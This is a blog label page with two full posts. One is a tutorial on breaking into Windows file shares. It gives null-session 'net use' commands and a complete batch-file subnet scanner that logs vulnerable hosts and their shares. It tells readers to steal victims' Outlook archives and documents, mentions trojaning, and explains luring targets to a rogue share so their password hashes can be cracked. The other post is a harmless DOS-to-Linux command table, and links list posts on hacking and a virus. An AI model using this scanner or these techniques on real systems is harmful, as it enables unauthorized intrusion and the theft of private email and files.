DOS: PC Tips by Anu

Showing posts with label DOS. Show all posts

Tuesday, December 27, 2011

John The Ripper 1.7.9 Jumbo 5

Tuesday, December 27, 2011

Anu

Monday, May 16, 2011

How to hack PC while chatting?

Monday, May 16, 2011

Anu

Friday, January 7, 2011

How to configure IP address n DNS via command line?

Friday, January 07, 2011

Anu

Monday, November 15, 2010

How to hide/unhide drives via DOS?

Monday, November 15, 2010

Anu

Friday, September 10, 2010

How to hack windows share via DOS script (.bat)?

Friday, September 10, 2010

Anu

Windows shares are probably one of the easiest ways to get unauthorized access to a remote computer. Most people enable shares for convenience, but Windows NT will, by default, share its primary hard drives for administrative purposes. Most shares can be controlled fairly well by users. The NT shares, however, cannot be shut down or changed, even by the Administrator.

Windows shares operate on ports 137 and 139. The protocol uses a challenge response that reveals its most basic vulnerability. When one computer wants to access are share on another computer it sends a request for a share. This request is acknowledged and authenticated by the share server based on its rules for access (either to the share or to the server itself). Thus if a user requests a share from an NT server, and that user is an authenticated user on the NT server they are granted access. If the user requests a share from a simple Windows 98 share server then the server authenticates based on any password protection set on the share. The problem with this scenario is that when I request a share from a server, by default I request the share as myself. This means that the client sends a request similar to: "user anu007tiger in workgroup tigerforce with password xxxxx requests the share WHATEVER from your server." You quickly see that sending a password is bad news. Now, the password is encrypted, but it is encrypted using know methods. The failure in the architecture is to send a workgroup, username, and password regardless of whether or not they are required. This means that if I have my server set up to grab incoming passwords, I can crack them.
"How can I exploit these services?" you might ask. Well, the simplest way is to use NETBIOS null sessions to explore shares. You can establish a null session fairly easily assuming the server doesn't request passwords for the null session. NT is pretty rigorous about requesting passwords if its shares are protected, but Windows 98 seems pretty vulnerable, in my experience. To establish a null session all you have to do is type in:
C:>net use //123.123.123.123/ipc$
Where 123.123.123.123 is the actual IP address of the target. There are only two possible responses to this query. The command will succeed and issue a "the command completed successfully" statement, or it will throw an error and fail. If the command succeeds you'll need to go on and explore what shares are available. To do this simply execute the following:

C:\> net view //123.123.123.123

The target will respond with a list of possible shares. The following is a result I received from a sample target:

Shared resources at \\123.123.123.123 Share name    Type         Used as   Comment
-------------------------------------------------------------------------------
Downloads     Disk                                                              
Pub           Disk                                                              
The command completed successfully.

The most common share available online is usually a printer share, which is fairly difficult to leverage. However, if you scan two or three subnets you're bound to run across some poor idiot who has shared his entire C: drive. Once you've identified a share the simplest way to leverage access is to map one of the remote shares to a local drive. In order to say map the remote share 'Pub' as a local X: drive execute the following:

C:\> net use x: \\123.123.123.123\Pub

If the resource is in fact password protected beyond basic user authentication (or lack thereof) you will be prompted to enter the password. Usually if a C: drive is shared over the internet though, the user is so clueless that further password protection is unlikely. Once the drive is mapped simply use the Windows GUI through 'My Computer' to upload, download, explore and execute the contents of the remote drive.

Scanning for shares, however is tedious and time consuming. Since all the scan consists of is a repetitive issuance of DOS commands (or executables available from a DOS prompt) the simplest way to speed up your search is to create a batch file.
Batch files are Windows shell scripts, a file that consists of DOS commands that are issued in sequence when the batch file is called.

The best known batch file is autoexec.bat. Batch files are creatable and readable from notepad. To create a batch file simply open notepad, write up the commands and save the file as 'somebat.bat'. You should be sure to enclose the title in quotation marks when saving it so that Notepad will save the file as a .bat rather than its default of .txt.

The problem with writing a batch file to scan a subnet is that batch files are of VERY limited utility. You cannot set a variable and then increment it using an arithmetic function. It is simply impossible to set a variable equal to a number then reset the variable to its original number plus one. The only way, say to increment 'x' from one to two is to set x equal to one, then explicitly set x equal to two. To use a batch file that will increment you have to call another batch file that simply allows for incrementing (checking a variable then resetting it to one higher).
The following is the text of add.exe, showing how this can be accomplished across a subnet (255 numbers).

DOWNLOAD FULL EXECUTEABLE (ADD.EXE + FK.EXE)
DOWNLOAD SOURCE (ADD.TXT + FK.TXT)

:: ADD.BAT
:: Increments a three digit number
:: Works by comparing each digit
:: H=hundreds, T=tens, D=digits
@echo off
if [%H%]==[] set H=0
if [%T%]==[] set T=0
if [%D%]==[] set D=0
:DIGITS
if %D%==9 goto TENS
if %D%==8 set D=9
if %D%==7 set D=8
if %D%==6 set D=7
if %D%==5 set D=6
if %D%==4 set D=5
if %D%==3 set D=4
if %D%==2 set D=3
if %D%==1 set D=2
if %D%==0 set D=1
goto DONE
:TENS
set D=0
if %T%==9 goto HUNDREDS
if %T%==8 set T=9
if %T%==7 set T=8
if %T%==6 set T=7
if %T%==5 set T=6
if %T%==4 set T=5
if %T%==3 set T=4
if %T%==2 set T=3
if %T%==1 set T=2
if %T%==0 set T=1
goto DONE
:HUNDREDS
set T=0
if %H%==9 set H=0
if %H%==8 set H=9
if %H%==7 set H=8
if %H%==6 set H=7
if %H%==5 set H=6
if %H%==4 set H=5
if %H%==3 set H=4
if %H%==2 set H=3
if %H%==1 set H=2
if %H%==0 set H=1
goto DONE
:DONE

As you can see this is rather clunky and inefficient. However, combined with the next batch file, you can create a simple, yet effective scanner. The batch file below scans across a subnet, first pinging hosts with one packet of data to see if they are alive, then attempting to establish a null session, logging the vulnerable system, enumerating and logging the shares, and finally requesting and logging nbtstat information from the target. All information is logged in vulnerable.txt in the same directory as the batch file.

Note that the add.bat file must be in the same directory so that calls to it are completed successfully. Copy this file and save it as FK.bat then execute it from the command line by issuing:

C:\> pctipsbyanu. 123.123.123

Where 123.123.123 is the subnet you with to scan. I have noticed that the scanner hangs at certain points and must be restarted. To avoid the pain of rescanning the entire subnet, capability has been built in to accept arguments to establish where along the subnet to start. To issue these arguments simply type

C:\> pctipsbyanu 123.123.123 A B C

Where ABC is the starting IP. Make sure to leave spaces between A, B, and C since they are separate arguments to the batch file. The code for FK.bat follows:

DOWNLOAD FULL EXECUTEABLE (ADD.EXE + FK.EXE)
DOWNLOAD SOURCE (ADD.TXT + FK.TXT)

@echo OFF

set SUBNET=%1%

set H=%2
set T=%3
set D=%4

echo Scanning subnet %SUBNET% >> vulnerable.txt

:START
call add.bat

REM lets start testing
ping -n 1 %SUBNET%.%H%%T%%D% | find "out" > nul
if errorlevel 1 goto CONTINUE
goto DEADIP

:CONTINUE
net use \\%SUBNET%.%H%%T%%D%\ipc$ | find "completed" > nul
if errorlevel 1 goto notfound
echo %SUBNET%.%H%%T%%D% >> vulnerable.txt
echo Got One!  %SUBNET%.%H%%T%%D% is vulnerable!
net view \\%SUBNET%.%H%%T%%D% >> vulnerable.txt
nbtstat -A %SUBNET%.%H%%T%%D% >> vulnerable.txt
goto endfind

:notfound
echo %SUBNET%.%H%%T%%D% doesn't seem to be vulnerable
:endfind


if %H%%T%%D%==254 goto DONE
goto START


:DEADIP
echo %SUBNET%.%H%%T%%D% doesn't seem to be alive
goto START

:DONE
@echo ON

If you invoke multiple DOS command prompts at once you can execute this batch file two or three times (one in each prompt) and speed up your subnet scans. If you get a vulnerable host, the batch will have already established a null session, so all you have to do is scan the text log file and establish connections to remote shares.
Using this scanner sporadically over one weekend I was able to connect to a total of 4 remote machines (scanning approximately 9 subnets). Such was the level of insecurity that you could pull Outlook archive file (backup.pst) from C:\Windows\Local Settings\Application Data\Microsoft\Outlook\archive.pst from every vulnerable machine.
Once you've copied this file you can import it into your Outlook and peruse the victim's e-mail. You can gain other valuable information by copying other identity data (such as contact list or even the contents of the My Documents folder). Trojaning a target becomes trivial once you have access of this level.

Another method for gaining access, especially if the target has password protected shares, is to trick the target into requesting a share from a server you control. This will cause the target to send a request, including their username and encrypted password. The password can be cracked fairly trivially with L0phtCrack, which even includes a SMB packet sniffer to capture the request. Tricking a machine into requesting a share is as simple as getting the target to view a linked file (either in an HTML e-mail or web page). To code a share simply substitute the absolute or relative link.

Friday, August 20, 2010

BAT : SCRIPT : Masterpiece Virus

Friday, August 20, 2010

Anu

Monday, August 9, 2010

DOS vs LINUX

Monday, August 09, 2010

Anu

Everyone knows that Linux is a Powerful Operating System due to his BASH and Commands...

BUT....

I know that DOS is also a Powerful Operating System...

In this POST I will show you a Command Comarison of RH- Linux and MS - DOS..

Command Comparison:

DOS Command	UNIX or Bash Command	Action
DIR	ls -l (or use ls -lF)(-a all files) (df -k Space remaining on filesystem)	List directory contents
DIR . /o-d DIR . /v /os DIR /s DIR /aa	ls -tr ls -ls ls -R ls -a	List directory contents by reverse time of modification/creation. List files and size List directory/sub-directory contents recursively. List hidden files.
TREE	ls -R	List directory recursivly
CD	cd	Change directory
MKDIR MD	mkdir	Make a new directory
ASSIGN	ln	Create a file or directory link
RMDIR RD	rmdir	Remove a directory
CHDIR	pwd	Display directory location
DEL ERASE	rm -iv	Remove a file
RMDIR /S (NT) DELTREE (Win 95...)	rm -R	Remove all directories and files below given directory
COPY	cp -piv	Copy a file
XCOPY	cp -R	Copy all file of directory recursivly
RENAME or MOVE	mv -iv	Rename/move a file
TYPE	cat	Dump contents of a file to users screen
MORE	more	Pipe output a single page at a time
HELP or COMMAND /?	man	Online manuals
CLS	clear ctrl-l	Clear screen
EXIT EXIT0	exit exit 0	Exit a shell
FIND FINDSTR	grep	Look for a word in files given in command line
COMP	diff	Compare two files and show differences. Also see comm, cmp, mgdiff and tkdiff.
FC	diff	Compare two files and show differences. Also see comm, cmp, mgdiff and tkdiff.
SET	set and env	List all environment variables
SET variable=value echo %variable%	set export variable=value echo $variable	Set environment variables Show environment variables
ECHO text	echo text	Echo text to screen
SET variable	setenv (for C shell) or export VAR=val (for Korn shell. Also VAR=val)	Set environment variables
PATH PATH %PATH%;C:\DIR	echo $PATH PATH=$PATH:/dir	Display search path for executables. Set PATH environment variable.
PROMPT $p$g	export PS1='\h(\u)\W> '	Set user command prompt.
DATE or TIME	date	Show date. (also set date - DOS only)
DOSKEY /h	history	List command history
DOSKEY NAME=command	alias NAME=command	Set command alias
BREAK ON	trap	Trap ctrl-break / Trap signals.
SORT	sort	Sort data alphabetically/numerically
EDLIN	ed	Line mode editor
EDIT filename.txt	pico, gnp, vi, xedit, xemacs,dtpad	Edit a file. The Linux editor which looks most like DOS edit is probably Pico. (Not a recomendation!)
BACKUP files A:\	tar -cvf /dev/fd0 files mdir, mcopy doswrite -a file (AIX only)	Save files to floppy.
RESTORE A:\ files	tar -xvf /dev/fd0 files mdir, mcopy dosread -a file (AIX only)	Read files from floppy.
ATTRIB [+r\|-r] [+a\|-a] [+s\|-s] [path\file] /s	chmod	Change file permissions. DOS: +:set to -:remove r:Read only a:Archive s:System /s:recursively
ATTRIB +h or -h	mv file .file	Change file to a hidden file - rename file with prefix "."
PRINT	lpr	Print a file
CALL COMMAND /C (DOS), CMD (NT)	source script (cshrc) . script (bash) sh script	Execute script from within batch shell.
MEM	free top	Show free memory on system
TASKLIST (WIN2K, XP)	ps -aux top	List executable name, process ID number and memory usage of active processes
MSD	lsdev	Show system info (Command borrowed from AIX)
SCANDISK DEFRAG C:	fsck debugfs	Check and repair hard drive file system
CHDISK	du -s	Disk usage.
FDISK	fdisk	Tool to partition a hard drive.
SUBST V: C:\directory\path	mount	Mount a drive letter to a folder/directory on your hard drive.
FORMAT	mke2fs fdformat and mformat for floppies	Format drive file system.
VER	uname -a echo $SHELL cat /etc/issue	Operating system/shell version
pkzip	tar and zip	Compress and uncompress files/directories. Use tar to create compilation of a directory before compressing. Linux also has compress, gzip
HOSTNAME	hostname	Print host name of computer
PING	ping	Send packets to a network host
TRACERT	traceroute	Show routes and router hops to given network destination.
IPCONFIG (NT) WINIPCFG (Win 95...)	ifconfig	Display/configure network interface
NBTSTAT (Netbios info: -n, -c) NBTSTAT -A IP-address	nslookup host-name host host-name	Print DNS info for host.
NBTSTAT -a hostname	nmblookup -A hostname	lookup NetBIOS names.
ROUTE PRINT	route -n	Print routing table.
NET HELP START	chkconfig --list \|grep on	List services.
NET STARTservice-name NET STOPservice-name	service service-name start service service-name stop	Start/stop service/daemon.
NET SHARES	df	Show mounted shares/filesystems.
NET SEND (NT)	smbclient -M MS-Windows-host-name talk	Send pop-up to a MS/Windows PC Send message to another Unix/Linux user.
WIN	startx	Start X-Windows.
REBOOT	shutdown -r now	Reboot system.

To find out how to do something on UNIX simply type "man -ksubject_matter". This will do a key word search for all commandsdealing with the subject matter. Then use the appropriate command. Onlinemanuals are available on all the commands by typing "mancommand_name".

MS/Windows info:

Shell Descriptor/Operators:

DOS Descriptor/Operator	UNIX or Bash Descriptor/Operator	Description
\	/	Directory path delimiter
.\	./	Current directory
..\	../	Parent directory
ctrl-z	ctrl-d	End of file/close shell
ctrl-c	ctrl-c	Interrupt/process break
*	*	file name wild card
?	?	Single character wild card
%VAR%	$VAR	Variable prefix
%1 %2 %3	$1 $2 $3	First, second and third shell command line arguments.
/	-	Command line option flag prefix
\|	\|	Pipe
>	>	stdout redirection
>>	>>	stdout redirection overwrite
<	<	stdin redirection

Shell Script Operators:

DOS Operator	UNIX or Bash Operator	Description
@ ECHO OFF	set +v	Set verbose mode off. -v: Echo each line of shell script as it is executed.
%	$	command line argument prefix. DOS: %1 Bash: $1 for firs argument.
REM	#	Comment. (Not processed.)
==	=	string "equal to" comparison
!==!	!=	string "not equal to" comparison
NOT	!	negative of test expression
CHOICE	case	case/switch statement
IF IF EXIST C:\filename IF NOT EXIST C:\filename	if [[ test-resulting-in-bool ]]; then ... elif ...; then ... else ... fi if [ -e /dir/filename ]; then if [ ! -e /dir/filename ]; then	if-test If file exists If file does not exist.
GOTO ABC ... :ABC	goto ABC ... :ABC	Branch
FOR ... IN ... DO FOR %%fff IN (C:\dir\.) DO echo %%fff	for ffiillee in lliisstt; do ...; done for (( expr1; expr2; expr3; )) do ...; done	For loop
ERRORLEVEL	$?	exit status/return code
PAUSE	sleep	sleep for specified interval

Bash shell aliases for DOS users:

The following are bash shell aliaseswhich can be added to the system profile or the user's personal profile ($HOME/.bashrc) to correct and help DOS users on Linux.

alias dir="echo 'Use the command: ls -lF'"
alias tree="echo 'Use the command: ls -R'"
alias del="echo 'Use the command: rm -iv'"
alias move="echo 'Use the command: mv -iv'"
alias rename="echo 'Use the command: mv -iv'"
alias copy="echo 'Use the command: cp -piv'"
alias type="echo 'Use the command: cat'"
alias cls="echo 'Use the command: clear'"
alias mem="echo 'Use the command: free'"
alias ver="echo 'Use the command: uname -a'"
alias A:="echo 'Use the command: mdir a:'"
alias a:="A:"
alias C:="echo 'No C drive in Linux. Go to your home directory with the command: cd'"
alias c:="C:"

Devices:

DOS Device	Linux Device	Description
NUL	/dev/null	Send into nothingness
CON	stdin	stdin from console
PRN LPT1	/dev/lp0	First printer device
COM1	/dev/ttyS0	Firsst serial port

Equivalent Linux and MS/Windows GUI Applications:

MS/Windows Command	Linux Command	Description
C:\WINDOWS\cmd	gnome-terminal konsole	Command Text Terminal
C:\WINDOWS\explorer	nautilus --no-desktop	File browser
c:\Program Files\Internet Explorer\iexplore	firefox mozilla	Web browser
C:\WINDOWS\notepad C:\Program Files\Windows NT\Accessories\wordpad	gedit	Text editor
C:\Program Files\Microsoft Office\Office10\winword excel powerpnt	oowriter oocalc ooimpress	MS/Office and Open Office suites (ooffice)
C:\Program Files\Adobe\Acrobat 7.0\Reader\acrord32	acroread	Adobe PDF viewer
mspaint	tuxpaint xfig gimp	Graphics and painting program
C:\Program Files\WinZip\winzip32	file-roller	File compress / decompress / pack / unpack
taskmgr	ksysguard qps gnome-system-monitor xosview	Process and system load monitor

Blog Archive

Popular Posts

Tuesday, December 27, 2011

John The Ripper 1.7.9 Jumbo 5

Monday, May 16, 2011

How to hack PC while chatting?

Friday, January 7, 2011

How to configure IP address n DNS via command line?

Monday, November 15, 2010

How to hide/unhide drives via DOS?

Friday, September 10, 2010

How to hack windows share via DOS script (.bat)?

Friday, August 20, 2010

BAT : SCRIPT : Masterpiece Virus

Monday, August 9, 2010

DOS vs LINUX

Followers

Facebook

Networked Blogs